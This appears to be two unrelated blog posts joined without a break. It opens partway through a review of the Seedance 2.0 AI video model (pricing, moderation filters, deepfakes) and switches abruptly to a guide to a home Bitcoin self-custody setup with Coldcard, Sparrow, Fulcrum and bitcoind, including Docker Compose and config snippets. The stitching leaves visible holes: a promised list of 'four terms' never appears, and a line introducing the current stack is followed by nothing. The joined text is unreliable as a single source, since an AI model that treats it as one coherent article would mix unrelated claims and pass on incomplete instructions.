The higher tiers scale credits roughly linearly, but the same problem holds: at today’s price, Seedance 2.0 is still a tool for short clips and well-made memes, or for pre-vis sketches before you send the real thing to an actual studio. It doesn’t replace continuous professional production. For that use case, Runway with Unlimited is honestly the cheaper option in practice. Full pricing table here.

What nobody wants to talk about: restrictions and deepfakes

Two things I don’t want to leave out. First: Seedance 2.0 took its sweet time getting to the public partly because ByteDance is being a lot more conservative than the competition when it comes to moderation. The model blocks generation that uses real people as reference (celebrities, politicians, public figures) and filters strong-IP characters from Disney, Marvel/DC, Nintendo, and registered trademarks generally. If you want the details of what passes, what doesn’t, and why ByteDance went that way, this MindStudio piece breaks it down. It makes sense: ByteDance operates across dozens of jurisdictions, lives under heavy regulatory scrutiny worldwide, and has the elephant in the room of Hollywood pushing the entire industry with copyright suits over training data and generation. The release got delayed and arrived with heavier filters precisely because of that.

Second point, and this is the one that matters more: for you, the average reader, the message is that deepfakes are no longer hypothetical. Photos on the internet stopped counting as proof a long time ago, because image models like Nano Banana, Hunyuan, and the rest deliver realism that fools anyone. Now video sits in the same bucket. What we just saw above, where a couple of references and two prompts get you a coherent animated scene in minutes, is just the start. The average person, with no training, isn’t going to be able to tell generated video from real video at a glance anymore. And Seedance’s filters only block above-board, legitimate use. Anyone with bad intent will always find a path through open source models, workarounds, or less strict platforms. That’s the world we’re in now, and the sooner we collectively accept it, the better off we are.

No, this doesn’t replace real artists

Let me cut off the usual speech before it shows up in the comments. No, Seedance doesn’t replace VFX artists, directors, editors, none of that. This is a hammer. The tool is the same for everybody. What comes out the other end depends entirely on who’s swinging it.

Anyone who’s actually studied framing, pacing, continuity, art direction, editing, color, composition is going to use Seedance to 10x the work they were already capable of delivering. Anyone who hasn’t studied any of that is going to crank out the same Instagram meme they were already cranking out, just 10x faster. The AI reflects who you are. If you’re a real artist, the tool multiplies you. If you only think you are, the tool multiplies the mediocrity. There’s no miracle here.

This is exactly why the whole “now everyone can be a film director with AI” wave is the same song we’ve heard with the digital camera, with Photoshop, with After Effects, with Premiere, and with every powerful tool that’s shown up in the last 30 years. The technical bar drops. The bar of taste, reference, and study sits exactly where it always has. Good people get more productive. Everyone else still needs to hire real ones to do real work.

Where this goes next

Seedance 2.0 is clearly a step in the right direction, but it’s not the tool that replaces professional production yet. Text alone stays imprecise, video reference helps but still drifts, and the price per minute of polished output is high relative to what you actually get. The good news is that this story always rhymes: Google has Veo, Runway has its own model and is also reselling Seedance, Kling and Hailuo from China keep pushing, and the open source models are gaining ground. OpenAI had Sora, but they shut it down. As competition tightens, quality goes up and price comes down. A year or two from now we’ll be looking back at this post and finding what I just showed pretty quaint. Same as it ever was.

First things first: this isn’t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There’s a “super cycle” thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don’t change the part I actually care about: infrastructure. If you need leverage to “speed up your gains,” you’re probably just speeding up your chances of getting liquidated.

For me, the useful question isn’t “is it going up tomorrow?” The useful question is: “if I want to store and move Bitcoin without outsourcing everything to an exchange, a web wallet and a public API, how do I set that up properly at home?”

The real problem: too much convenience costs too much privacy

Most people’s default flow is simple: buy on an exchange, leave the balance sitting there, or install some random wallet on the phone and call it done. It works. It also concentrates risk and leaks metadata everywhere.

If you leave a balance on an exchange, you have custody risk. If you use a desktop wallet pointed at a public server, you have privacy risk. If you use a hardware wallet casually, bought second-hand on Mercado Livre, you have supply chain risk. Mix all that with hurry, and it gets worse.

That’s why I ended up at a combination that, for someone technical who wants to run their own infra, feels pretty solid:

• Coldcard for cold storage
• Sparrow Wallet on Linux as the desktop wallet and transaction coordinator
• Fulcrum on the home server as a private Electrum server
• bitcoind on the same server as a real full node, validating the chain and broadcasting without depending on third parties

It’s not the easiest path. But that’s exactly the point. Real security rarely comes from the easiest path.

The concepts that confuse beginners

Before getting into the stack, it’s worth aligning on four terms that usually get tossed around like everyone already knows them:

In plain language, the flow looks like this:

1. Sparrow, on the desktop, builds the transaction.
2. That transaction becomes a PSBT.
3. The PSBT goes to the Coldcard via microSD.
4. The Coldcard signs it offline.
5. The signed file goes back to Sparrow.
6. Sparrow broadcasts through your own server, not through someone else’s public infrastructure.

That’s what people mean by “airgapped workflow.” It’s not magic. It’s just disciplined separation of roles.

Coldcard: cold signer, offline, the right kind of annoying

I use Coldcard as cold storage. The reason is simple: it was designed from day one as a Bitcoin-only device, with a heavy focus on airgapped operation through microSD. That alone eliminates an entire category of “conveniences” that many people find practical, but that I’d rather not have anywhere near my keys.

In practice, the Coldcard holds the most important part of the system: the private key. It doesn’t need to know about a server, Electrum, public API, exchange, or any of that. Its job is one thing: sign transactions offline.

That decoupling is great for two reasons:

• The desktop can be convenient without becoming a single point of failure.
• The signer stays isolated even if your main machine has problems.

And here’s a warning I really want to put in mental all-caps:

Never buy a hardware wallet second-hand. Ever.

This isn’t an exaggeration. You have no way to actually know what happened to that device before it reached your hands. It could have a pre-generated seed, tampered firmware, swapped components, repackaged box, compromised supply chain, or simply some dumb trick waiting for you to let your guard down. Hardware wallet is one of those categories where saving R$ 300 buying used is insanity. Always buy from the manufacturer’s official site or from a reseller officially authorized by the manufacturer. And even then, check seals, provenance and firmware.

Can you do something similar with an old phone?

You can. But I’d treat it as a study or budget alternative, not as an obvious substitute for a Coldcard.

The most serious path for that today is AirGap Vault, which was specifically designed to use an old smartphone as an offline signer over QR codes, keeping the device off the network. The idea is good, and for many people it might be the right entry point.

But there are trade-offs:

• An old smartphone wasn’t designed as a dedicated hardware wallet
• The device’s prior history matters
• An aged battery, bad screen and abandoned Android are real problems
• The threat model is less clear than on a dedicated device

So my view is simple: can you use it? Yes. Would I recommend it as the main solution for storing meaningful wealth? No. For that I still prefer dedicated hardware bought from the right source.

Sparrow Wallet: the best desktop piece in this puzzle

On Linux, I use Sparrow Wallet. For me, today, it’s one of the best pieces of software in this ecosystem.

What I like about it:

• works very well on Linux desktop
• supports hardware wallets properly
• understands PSBT without drama
• makes it crystal clear what’s happening in a transaction
• it’s great as a watch-only wallet

In my flow, Sparrow does three things:

1. Holds the watch-only wallet.
2. Builds the transaction with outputs and fees.
3. Receives the signature back from the Coldcard and broadcasts it.

That separation is elegant. The desktop becomes the coordinator. The signer stays cold.

Why Coldcard + Sparrow works so well

This combo is good because each piece does what it does best:

• the Coldcard protects the key
• Sparrow organizes the human use of the wallet
• the server handles the infrastructure

A lot of wallets try to do everything. I prefer this modular design. It’s less “magic,” more explicit, and easier to reason about without lying to yourself.

If I’m at the desktop, I want visibility. If I’m at the signer, I want isolation. If I’m at the server, I want validation and a local index. That division is clean.

The Sparrow problem when you don’t run your own infra

Now comes the important detail. Sparrow alone doesn’t solve privacy.

If you install it, open it and just use public servers, the people on the other end learn quite a lot about your wallet: your address set, xpubs or derivations, balance, history, query behavior, broadcast. It’s not custody, but it’s still exposure.

That’s the hole Fulcrum fills.

Fulcrum: the home’s private Electrum server

Fulcrum is an Electrum server. Instead of letting Sparrow ask things of a third-party public server, it asks my own server.

In practice, that means:

• local balance lookups
• local history
• local address discovery
• local broadcast

In other words: the desktop wallet stops “phoning home” to the world every time you open the program.

In my current setup, Sparrow points at a Fulcrum running on the home server on the LAN, with port 50001 on the internal network and 50002 with TLS.

And why Fulcrum isn’t enough on its own

Because Fulcrum doesn’t replace a full node. It indexes on top of a full node.

The thing actually validating blocks, consensus rules, scripts, transactions and the chain is bitcoind. Fulcrum sits in front of it as an indexing layer, because plain Bitcoin Core wasn’t built to serve a desktop wallet with that kind of fast querying.

So the correct architecture is:

Coldcard (offline signer)
        ^
        | microSD / PSBT
        v
Sparrow Wallet (desktop watch-only + coordinator)
        |
        v
Fulcrum (private Electrum server)
        |
        v
bitcoind (full node)

What I actually brought up on the home server

On my home server, the stack lives in a dedicated Docker Compose folder and is made of two containers:

• bitcoin-bitcoind
• bitcoin-fulcrum

The compose is simple. And that’s good. Sensitive infra doesn’t gain anything by getting clever in YAML.

The main design is this:

services:
  bitcoin:
    image: lncm/bitcoind:v28.0
    container_name: bitcoin-bitcoind
    user: "${BITCOIN_UID}:${BITCOIN_GID}"
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/data:/data/.bitcoin
    ports:
      - "8333:8333"
    stop_grace_period: 5m
    healthcheck:
      test: ["CMD", "bitcoin-cli", "-datadir=/data/.bitcoin", "ping"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  fulcrum:
    image: cculianu/fulcrum:latest
    container_name: bitcoin-fulcrum
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/fulcrum:/data
      - /srv/bitcoin/data:/bitcoin:ro
    command: ["Fulcrum", "/data/fulcrum.conf"]
    ports:
      - "50001:50001"
      - "50002:50002"
    depends_on:
      bitcoin:
        condition: service_healthy

In my case, the restriction of 50001 to LAN happens at the host’s network layer. The YAML above is the skeleton of the stack, not the entire firewall policy.

The most important parts of this:

• restart: always because this is a long-running service
• explicit volume so state isn’t lost
• user: "${BITCOIN_UID}:${BITCOIN_GID}" because the persistent directory needs to match the storage’s real ownership, so I’d rather pin UID/GID explicitly than trust the image’s default
• the RPC isn’t published on the host; it stays on the Compose internal network, which is all Fulcrum needs
• the healthcheck uses Bitcoin Core’s own local .cookie, so there’s no need to spread a fixed password through commands
• Fulcrum mounts the node’s datadir as read-only just to authenticate via the .cookie without inventing parallel credentials
• in fulcrum.conf, that becomes a simple configuration: talk to bitcoin:8332 and read the mounted .cookie, instead of repeating credentials in plaintext
• security_opt: label:disable because on this host with MicroOS, SELinux and sensitive bind mounts, I preferred the pragmatic route of disarming this specific friction rather than wasting time fighting labels on a volume that’s already being handled in a controlled way
• depends_on with service_healthy so Fulcrum only comes up after bitcoind’s RPC is responding
• stop_grace_period: 5m because bitcoind needs real time to flush state on a graceful shutdown

The final version

Today, the design I want to keep is this: bitcoind with txindex, dbcache=1024, persistent volume, 5-minute graceful stop, .cookie authentication, and Fulcrum in front serving Sparrow over LAN or TLS.

The current stack looks like this:

I’m not interested in turning this into a spectacle. The point is simpler: the final infrastructure has to be boring, predictable and stable.

The tunings that actually matter

There’s no magic here. There are a few parameters that make a real difference and a bunch of stuff that just decorates compose files.

stop_grace_period: 5m exists because bitcoind isn’t a disposable stateless API container. It maintains chainstate, indexes and an in-memory cache. If you don’t give the process time to finish properly, you create unnecessary work for the next start.

user: "${BITCOIN_UID}:${BITCOIN_GID}" is there for a much less glamorous and much more important reason: persistent storage with the wrong permissions is an excellent way to break a working service. So I’d rather align the container with the volume’s actual ownership instead of leaving that implicit.

dbcache=1024 is the spot I find most reasonable for a domestic node that’s always on. Big enough not to suffer constant I/O, small enough that every restart isn’t a labor.

txindex=1 I keep because I want the complete node, not a minimalist install just to claim “it runs Bitcoin.” If the goal here is operational autonomy, I’d rather have the full index.

rpcworkqueue=512 and rpcthreads=16 are the kind of tweak that makes sense when you know you’ll have Fulcrum querying the node all day and you want some headroom.

On the Fulcrum side, the main parameters are:

• db_mem = 8192
• db_max_open_files = -1
• bitcoind_clients = 8
• worker_threads = 0
• peering = false

Again: nothing esoteric. Just enough cache, reasonable parallelism and absolutely no announcing this server as a public service.

In my current bitcoin.conf, the important core ended up like this:

server=1
txindex=1
prune=0
rpcbind=0.0.0.0
rpcallowip=172.0.0.0/8
rpcthreads=16
rpcworkqueue=512
dbcache=1024
maxmempool=512

All of this makes sense on a server with decent RAM and fast NVMe. But the detail that matters most is still the clean shutdown. Wallet infrastructure has no room for “we’ll deal with it later” thinking.

The actual size of all this

This is another point a lot of people underestimate.

If you look at older Bitcoin Core documentation, you’ll find numbers like 350 GB of disk for a node with default config. That’s outdated. More current data on the size of the blockchain points to something around 725.82 GB on March 11, 2026, and that’s just the raw chain, without the extra indexes that many technical folks will want to keep.

And here comes the catch: the stack I’m describing isn’t “a bare Bitcoin Core just to claim you run a node.” It’s bitcoind with txindex, plus Fulcrum, plus headroom for rebuild, logs, snapshots and normal network growth.

So to put together something similar today, I’d think like this:

• below 1 TB: I wouldn’t even start
• 1 TB: pragmatic minimum
• 2 TB: comfortable range
• above that: if you want long-term headroom, snapshots and less operational anxiety

And here’s the most important observation of all in self-hosting: don’t assume persistence, mount and backup are right just because the YAML looks clean. Verify.

Another thing I wouldn’t forget on a btrfs host: put Fulcrum’s database (fulc2_db) on a separate subvolume. The reason is mundane. That directory grows, changes constantly and has nothing to do with generic automated snapshots of /var. If you mix everything, you end up dragging a large rebuildable index along with system snapshots, burning space and making maintenance more annoying than it needed to be. The Fulcrum index isn’t sensitive configuration. It’s heavy, volatile, rebuildable data. I treat it exactly like that.

Hardening: what I’ve already applied

This is where the difference between “ran on my laptop” and “I’d trust this to operate my wallet” shows up.

In the current state of the stack, the points I consider important ended up like this:

• Bitcoin Core’s RPC no longer relies on unnecessary host exposure; Fulcrum talks to bitcoind over the Docker internal network, which is what actually matters
• 50001 is restricted to internal LAN use
• 50002 is available with TLS, which is the right move when you need to leave plaintext behind
• shutdown is graceful, with stop_grace_period: 5m, so bitcoind has time to flush state instead of dying any old way
• the storage mount isn’t on a “we’ll see later” basis; there’s a mount check before Docker comes up, precisely to avoid silent drift

Each of those items exists for a very concrete reason.

Pulling the RPC off the host’s surface reduces attack at zero cost. Fulcrum is already in the same Compose and can already talk to the service by its internal name. There’s no real gain in leaving that port exposed where it doesn’t need to be exposed.

Separating 50001 and 50002 also helps keep the house in order. Within a controlled LAN, plaintext is acceptable. Outside of that, the minimum reasonable thing is TLS. Mixing the two scenarios usually turns into a mess.

stop_grace_period: 5m looks like a container detail, but it isn’t. Anyone who’s ever had a database, an index or a blockchain node killed without grace knows how that turns into hours of work later. A stateful service needs a decent stop.

And the mount check is one of those annoying things that saves you from yourself. The YAML can look beautiful. If the storage didn’t mount and the service came up writing where it shouldn’t, you’ve just manufactured a really irritating problem.

There’s also one detail I really like in this final version of the stack: Fulcrum authenticates to bitcoind through the .cookie file, not through a fixed plaintext password. That’s interesting for two reasons:

• you don’t need to leave a static credential showing up in compose, inspect, healthcheck or documentation
• the authentication is more aligned with the way Bitcoin Core already knows how to operate locally

In practical terms, that reduces accidental leakage of operational secrets. It’s not a magic solution to everything, but it’s much better than spreading rpcuser and rpcpassword across files, logs and commands.

The only kind of hardening I try to avoid here is the one that’s overly performative in YAML and loose in operation. I’d rather have less “stage engineering” and more basic discipline:

• minimum network
• minimum secrets
• minimum privilege
• clean shutdown
• verified storage
• separate subvolume for large rebuildable data, like the Fulcrum index

And, again, document everything. Good infrastructure isn’t the kind that just works today. It’s the kind that keeps working when you come back to it six months later.

Why this improves transactions on your side

When I build a transaction in Sparrow and sign it on the Coldcard, the chain of trust is much better defined:

• the private key never touches the internet
• the desktop wallet doesn’t have to trust a public server
• the broadcast can come out of my own node
• the address history doesn’t need to land on a third-party Electrum server

This doesn’t make anything invulnerable. There’s still a risk of malware on the desktop, badly stored seeds, human error, social engineering and physical disaster. But the design becomes much more coherent.

What about Lightning? Especially in Brazil?

There I separate things.

Reserves and larger-value transactions I treat one way. Day-to-day spending I treat another.

For day-to-day spending, especially in Brazil, I think it’s operationally dumb to carry a lot of balance in a hot wallet. Lightning wallets and spending apps have to be almost like a “pocket wallet”: just enough for daily life.

That goes double if you use a hybrid or custodial solution like RedotPay. I get why it’s interesting for Brazilians: a Hong Kong company, international focus, a reasonably practical bridge between crypto and card spending. For travel, online shopping and life outside the Brazilian banking axis, it makes sense. But I’d never treat it as a place to store wealth. That’s a spending tool, not a vault.

Same logic for Bitrefill Brasil. I think the service is interesting precisely because it solves a real pain in Brazil: turning sats into concrete utility without selling your full position or depending on banking integration all the time. Gift cards, top-ups, small expenses. As a use tool, it makes a lot of sense.

For a Lightning wallet on the phone, I’d look at first:

• Phoenix for people who want something very good and simple
• Breez for people who want a great payments experience
• ZEUS if you’re more technical and you eventually plan to operate your own Lightning node

All of them, in my head, fit into the “pocket wallet” category. Small balance. Daily use. Don’t turn a phone app into a retirement vault.

Recent news that reinforces this reasoning

I’m not building this kind of stack because I think it’s pretty. I’m building it because outsourcing too much goes wrong too often.

Two recent examples:

• the Bybit hack in 2025 showed, again, the basic risk of leaving meaningful custody at an exchange
• the Coinbase customer data leak in 2025 showed the other side of the problem: even when custody isn’t the immediate concern, your identity, balance and history become an attack surface

A stack like Coldcard + Sparrow + Fulcrum + full node doesn’t eliminate every risk in the world. But it avoids two very real classes of problem:

• losing custody sovereignty
• handing over wallet and transaction privacy on a silver platter to third parties

So is it worth it?

For most people, honestly, probably not in the first month. It’s labor-intensive, has a learning curve, and demands discipline.

But for programmers, engineers and any technical person who wants to learn not to depend on someone else’s service all the time, I think it’s an excellent exercise.

You learn about:

• separation of concerns
• persistence and state
• graceful shutdown
• observability
• secret isolation
• the trade-off between convenience and security

And all of that is valuable beyond Bitcoin.

In the end, that’s what interests me most about this stack. It isn’t about preaching “hyperbitcoinization” or posing as a price prophet. It’s about building a system at home that I can trust more because I’m the one who installed it, measured it, broke it, fixed it and documented it.

Is it work? Yes.

But that kind of work teaches exactly what modern software tries to make you forget: depending less on others is more work upfront, but it usually buys a lot more control in the long run.

Updated April 2, 2026: if you already read this yesterday, jump straight to the new update section.